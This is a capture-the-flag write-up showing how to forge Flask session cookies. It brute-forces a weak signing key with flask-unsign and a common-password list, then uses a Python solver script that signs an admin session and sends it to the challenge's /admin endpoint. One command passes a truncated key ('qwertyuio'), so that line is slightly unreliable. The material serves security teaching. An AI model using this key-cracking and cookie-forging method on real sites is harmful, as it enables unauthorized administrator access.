//flask_of_cookies
//Flask of Cookies Writeup
>TL;DR
A Flask app signs user sessions with a predictable secret key. If we set session["role"] = "admin" and session["user"] = SECRET_KEY[::-1], the backend treats us as superadmin and reveals the flag. Locally we already knew the secret (<fake_secret_key>). Remotely we brute-forced the secret (qwertyuiop) using flask-unsign plus a 10k common-password list, forged the cookie, and grabbed flag{y0u_l34rn3ed_flask_uns1gn_c0ok1e}.
>Environment Prep
- Unzipped the challenge bundle and installed deps:
bash
cd cookie
pip install -r requirements.txt- Started the local server per instructions (backgrounded via
nohup):
bash
nohup python3 [app.py](http://app.py/) >> server.log 2>&1 &>Local Recon & Vulnerability
app.pyauto-populatessession["user"] = "guest"/session["role"] = "user"on/./admincallsderived_level(session, secret_key)which only returns"superadmin"when both:role == "admin"user == secret_key[::-1]- Flask signs sessions with
SECRET_KEY(<fake_secret_key>locally). Therefore anyone who knows the key can forge a session and satisfy the check.
>Local Exploit
- Built a helper script (
solve_local.py, shown below) that:
- Instantiates a minimal Flask app with the known
secret_key. - Uses Flask's serializer to dump a crafted session
{"user": secret[::-1], "role": "admin"}. - Sends the cookie back to
/admin.
- Ran it against localhost:
bash
python3 solve_local.py --target [http://127.0.0.1:8000](http://127.0.0.1:8000/) --secret "<fake_secret_key>"- Response contained the local placeholder flag
flag{fake_flag_here}confirming the exploit path.
>Remote Exploit
- Grabbed the remote session cookie via
curl -Ito feed intoflask-unsign:
bash
curl -I [http://104.198.24.52:6011/](http://104.198.24.52:6011/)- Downloaded a manageable SecLists wordlist and brute-forced the secret (note the need for
-no-literal-evalwhen the wordlist contains numeric-only entries):
bash
curl -L -o 10k.txt \
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt
flask-unsign --unsign --cookie "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTQngQ.qMib2rI2sVG0Bvkil2p6nXPHw7I" \
- -wordlist 10k.txt --no-literal-eval
# [+] Found secret key ... b'qwertyuiop'- Reused the solver script with the recovered secret:
bash
python3 solve_local.py --target [http://104.198.24.52:6011](http://104.198.24.52:6011/) --secret qwertyuio/adminreturned the real flag:
bash
flag{y0u_l34rn3ed_flask_uns1gn_c0ok1e}>Solver Script (solve_local.py)
python
import argparse
import os
import requests
from flask import Flask
def build_cookie(secret_key: str) -> str:
"""Generate a signed Flask session that promotes us to admin."""
app = Flask(__name__)
app.secret_key = secret_key
serializer = app.session_interface.get_signing_serializer(app)
payload = {"user": secret_key[::-1], "role": "admin"}
return serializer.dumps(payload)
def main() -> None:
parser = argparse.ArgumentParser(description="Forge Flask session for admin access")
parser.add_argument(
"--target",
default="<http://127.0.0.1:8000>",
help="Base URL of the challenge instance (default: %(default)s)",
)
parser.add_argument(
"--secret",
default=os.environ.get("SECRET_KEY", "<fake_secret_key>"),
help="Secret key used by the Flask app (defaults to SECRET_KEY env or known value)",
)
parser.add_argument(
"--no-request",
action="store_true",
help="Only print the forged cookie without sending a request",
)
args = parser.parse_args()
session_cookie = build_cookie(args.secret)
print(f"Crafted session cookie: {session_cookie}")
if args.no_request:
return
response = requests.get(f"{args.target}/admin", cookies={"session": session_cookie}, timeout=10)
print(f"Status: {response.status_code}")
print("Body:\\n" + response.text)
if __name__ == "__main__":
main()